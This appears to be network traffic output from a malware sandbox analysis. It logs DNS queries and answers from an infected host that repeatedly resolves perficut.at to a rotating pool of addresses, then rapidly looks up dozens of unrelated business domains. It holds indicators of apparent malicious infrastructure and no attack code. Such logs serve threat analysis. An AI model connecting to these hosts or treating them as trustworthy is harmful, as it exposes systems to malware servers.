Feb 16, 2023 10:02:41.210727930 CET	63970	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.219053984 CET	53	59554	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.222421885 CET	53	59877	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.620980024 CET	50660	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.659065008 CET	53	50660	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.698852062 CET	55088	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.726090908 CET	53	55088	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.808893919 CET	56804	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.811111927 CET	61366	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.828650951 CET	53	61366	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:41.916903019 CET	53539	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:41.936611891 CET	53	53539	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:42.072453976 CET	53	56804	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:42.203718901 CET	63970	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:42.256468058 CET	61876	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:42.308342934 CET	60046	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:42.426213980 CET	53	61876	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:42.437727928 CET	53	63970	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:42.452557087 CET	53	63970	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:42.590475082 CET	53	60046	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:43.471865892 CET	65455	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:43.491755962 CET	53	65455	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:44.355164051 CET	51140	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:44.513942957 CET	53	51140	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:44.839699984 CET	49407	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:44.864196062 CET	53	49407	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:45.857063055 CET	51466	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:45.951447010 CET	53	51466	8.8.8.8	192.168.2.4
Feb 16, 2023 10:02:46.142199993 CET	52977	53	192.168.2.4	8.8.8.8
Feb 16, 2023 10:02:46.161972046 CET	53	52977	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 16, 2023 10:01:16.064870119 CET	192.168.2.4	8.8.8.8	0x1b8a	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.629725933 CET	192.168.2.4	8.8.8.8	0x5cc1	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.226974010 CET	192.168.2.4	8.8.8.8	0x687	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.929471970 CET	192.168.2.4	8.8.8.8	0xb8b0	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.478121042 CET	192.168.2.4	8.8.8.8	0x1d08	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.025403023 CET	192.168.2.4	8.8.8.8	0x6bba	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:36.593065977 CET	192.168.2.4	8.8.8.8	0x661	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.597351074 CET	192.168.2.4	8.8.8.8	0x661	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:37.866658926 CET	192.168.2.4	8.8.8.8	0x7e5e	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:39.442542076 CET	192.168.2.4	8.8.8.8	0x2cc3	Standard query (0)	beg.com.ve	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:41.802918911 CET	192.168.2.4	8.8.8.8	0x9b17	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:43.365268946 CET	192.168.2.4	8.8.8.8	0x1d06	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:44.781291962 CET	192.168.2.4	8.8.8.8	0x7ccc	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:47.136712074 CET	192.168.2.4	8.8.8.8	0x24f1	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:49.493201971 CET	192.168.2.4	8.8.8.8	0xe8c1	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:51.163912058 CET	192.168.2.4	8.8.8.8	0xe767	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:52.133774996 CET	192.168.2.4	8.8.8.8	0x5b00	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:53.792125940 CET	192.168.2.4	8.8.8.8	0x4aa5	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:54.312884092 CET	192.168.2.4	8.8.8.8	0xdb59	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:55.672084093 CET	192.168.2.4	8.8.8.8	0x4fc5	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:57.396925926 CET	192.168.2.4	8.8.8.8	0x347e	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.370126009 CET	192.168.2.4	8.8.8.8	0x9f2a	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:58.784948111 CET	192.168.2.4	8.8.8.8	0x9461	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.449548960 CET	192.168.2.4	8.8.8.8	0xc9ea	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:00.902584076 CET	192.168.2.4	8.8.8.8	0x18cb	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:01.201468945 CET	192.168.2.4	8.8.8.8	0x49ca	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:02.744349957 CET	192.168.2.4	8.8.8.8	0xab3	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:04.652700901 CET	192.168.2.4	8.8.8.8	0x6a6c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:06.886043072 CET	192.168.2.4	8.8.8.8	0xcc6e	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:08.812927008 CET	192.168.2.4	8.8.8.8	0x1945	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:10.453196049 CET	192.168.2.4	8.8.8.8	0x505d	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:11.640053988 CET	192.168.2.4	8.8.8.8	0x248d	Standard query (0)	h167471.srv11.test-hf.su	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:12.487109900 CET	192.168.2.4	8.8.8.8	0xf5ab	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.702497959 CET	192.168.2.4	8.8.8.8	0x2e6f	Standard query (0)	www.quadlock.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.703449011 CET	192.168.2.4	8.8.8.8	0xd954	Standard query (0)	www.pr-park.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.704149961 CET	192.168.2.4	8.8.8.8	0x178a	Standard query (0)	www.pdqhomes.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.705401897 CET	192.168.2.4	8.8.8.8	0x6c92	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.705893993 CET	192.168.2.4	8.8.8.8	0xbbc6	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.707844019 CET	192.168.2.4	8.8.8.8	0xde33	Standard query (0)	www.jenco.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.708857059 CET	192.168.2.4	8.8.8.8	0xff8e	Standard query (0)	www.olras.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.709346056 CET	192.168.2.4	8.8.8.8	0x656a	Standard query (0)	www.baijaku.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.709633112 CET	192.168.2.4	8.8.8.8	0xbab2	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.711078882 CET	192.168.2.4	8.8.8.8	0xdf61	Standard query (0)	www.dgmna.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.756160021 CET	192.168.2.4	8.8.8.8	0xb9a6	Standard query (0)	www.mqs.com.br	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.762547016 CET	192.168.2.4	8.8.8.8	0x5693	Standard query (0)	www.rs-ag.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.803368092 CET	192.168.2.4	8.8.8.8	0x8f1b	Standard query (0)	www.alteor.cl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.827330112 CET	192.168.2.4	8.8.8.8	0xa27e	Standard query (0)	www.valdal.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.867413044 CET	192.168.2.4	8.8.8.8	0x5e3c	Standard query (0)	www.item-pr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.871110916 CET	192.168.2.4	8.8.8.8	0xac0c	Standard query (0)	www.vazir.se	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.891365051 CET	192.168.2.4	8.8.8.8	0x2051	Standard query (0)	www.credo.edu.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:38.940742970 CET	192.168.2.4	8.8.8.8	0x4dcd	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.006899118 CET	192.168.2.4	8.8.8.8	0xb277	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.033674002 CET	192.168.2.4	8.8.8.8	0x27ca	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.062932014 CET	192.168.2.4	8.8.8.8	0x83d8	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.091502905 CET	192.168.2.4	8.8.8.8	0x57a9	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.199719906 CET	192.168.2.4	8.8.8.8	0x3445	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.263631105 CET	192.168.2.4	8.8.8.8	0xda18	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.288814068 CET	192.168.2.4	8.8.8.8	0xddf3	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.363293886 CET	192.168.2.4	8.8.8.8	0x1654	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.381573915 CET	192.168.2.4	8.8.8.8	0xf6fe	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.391861916 CET	192.168.2.4	8.8.8.8	0xbe46	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.396039009 CET	192.168.2.4	8.8.8.8	0xdac3	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.465526104 CET	192.168.2.4	8.8.8.8	0xeb1	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.535917997 CET	192.168.2.4	8.8.8.8	0x65fc	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.579058886 CET	192.168.2.4	8.8.8.8	0x7131	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.581922054 CET	192.168.2.4	8.8.8.8	0x82f0	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.673055887 CET	192.168.2.4	8.8.8.8	0x81ff	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.724075079 CET	192.168.2.4	8.8.8.8	0x2e4a	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.808482885 CET	192.168.2.4	8.8.8.8	0xd2d5	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.889292002 CET	192.168.2.4	8.8.8.8	0xad24	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.889424086 CET	192.168.2.4	8.8.8.8	0x5085	Standard query (0)	www.snugpak.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:39.892921925 CET	192.168.2.4	8.8.8.8	0xc00e	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.034981966 CET	192.168.2.4	8.8.8.8	0x6a86	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.037353039 CET	192.168.2.4	8.8.8.8	0xde0c	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.039954901 CET	192.168.2.4	8.8.8.8	0xf06e	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.110327959 CET	192.168.2.4	8.8.8.8	0x800e	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.112102985 CET	192.168.2.4	8.8.8.8	0xc535	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.114092112 CET	192.168.2.4	8.8.8.8	0x84c6	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.145693064 CET	192.168.2.4	8.8.8.8	0x6c8a	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.190165997 CET	192.168.2.4	8.8.8.8	0xc03	Standard query (0)	www.crcsi.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.195585966 CET	192.168.2.4	8.8.8.8	0x5ff4	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.261931896 CET	192.168.2.4	8.8.8.8	0x6684	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.263989925 CET	192.168.2.4	8.8.8.8	0x4fd6	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.313236952 CET	192.168.2.4	8.8.8.8	0x7706	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.322911978 CET	192.168.2.4	8.8.8.8	0x54ba	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.330239058 CET	192.168.2.4	8.8.8.8	0x2ed	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.438322067 CET	192.168.2.4	8.8.8.8	0x7e46	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.473165989 CET	192.168.2.4	8.8.8.8	0xe749	Standard query (0)	www.speelhal.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.477287054 CET	192.168.2.4	8.8.8.8	0x6c1f	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.516949892 CET	192.168.2.4	8.8.8.8	0x9a55	Standard query (0)	www.ora-ito.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.555562019 CET	192.168.2.4	8.8.8.8	0x34b	Standard query (0)	www.jchysk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.580692053 CET	192.168.2.4	8.8.8.8	0x1e92	Standard query (0)	www.findbc.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.583029032 CET	192.168.2.4	8.8.8.8	0x13fe	Standard query (0)	www.netcr.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.720890999 CET	192.168.2.4	8.8.8.8	0xdf30	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.746965885 CET	192.168.2.4	8.8.8.8	0xad27	Standard query (0)	www.cel-cpa.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:40.981889963 CET	192.168.2.4	8.8.8.8	0xcef5	Standard query (0)	www.c9dd.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.192451954 CET	192.168.2.4	8.8.8.8	0x87a8	Standard query (0)	www.domon.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.198380947 CET	192.168.2.4	8.8.8.8	0x9347	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.210727930 CET	192.168.2.4	8.8.8.8	0xe02a	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.620980024 CET	192.168.2.4	8.8.8.8	0xb53d	Standard query (0)	www.lrsuk.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.698852062 CET	192.168.2.4	8.8.8.8	0x64c4	Standard query (0)	www.fe-bauer.de	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.808893919 CET	192.168.2.4	8.8.8.8	0x610f	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.811111927 CET	192.168.2.4	8.8.8.8	0xcbfb	Standard query (0)	www.pwd.org	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:41.916903019 CET	192.168.2.4	8.8.8.8	0x8508	Standard query (0)	www.fink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.203718901 CET	192.168.2.4	8.8.8.8	0xe02a	Standard query (0)	www.gpthink.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.256468058 CET	192.168.2.4	8.8.8.8	0x2f52	Standard query (0)	www.pupi.cz	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:42.308342934 CET	192.168.2.4	8.8.8.8	0xe6c9	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:43.471865892 CET	192.168.2.4	8.8.8.8	0x2ca6	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:44.355164051 CET	192.168.2.4	8.8.8.8	0x50e	Standard query (0)	www.nqks.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:44.839699984 CET	192.168.2.4	8.8.8.8	0x2e08	Standard query (0)	www.myropcb.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:45.857063055 CET	192.168.2.4	8.8.8.8	0xfd6a	Standard query (0)	www.yoruksut.com	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:02:46.142199993 CET	192.168.2.4	8.8.8.8	0x73b0	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:16.088568926 CET	8.8.8.8	192.168.2.4	0x1b8a	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:17.647327900 CET	8.8.8.8	192.168.2.4	0x5cc1	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:19.246623993 CET	8.8.8.8	192.168.2.4	0x687	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:31.949130058 CET	8.8.8.8	192.168.2.4	0xb8b0	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		86.122.83.142	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		109.98.58.98	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		79.102.150.149	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		211.119.84.111	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:33.497405052 CET	8.8.8.8	192.168.2.4	0x1d08	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		58.235.189.192	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		175.126.109.15	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		189.245.91.252	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		222.236.49.124	A (IP address)	IN (0x0001)	false
Feb 16, 2023 10:01:35.043365955 CET	8.8.8.8	192.168.2.4	0x6bba	No error (0)	perficut.at		211.104.254.139	A (IP address)	IN (0x0001)	false
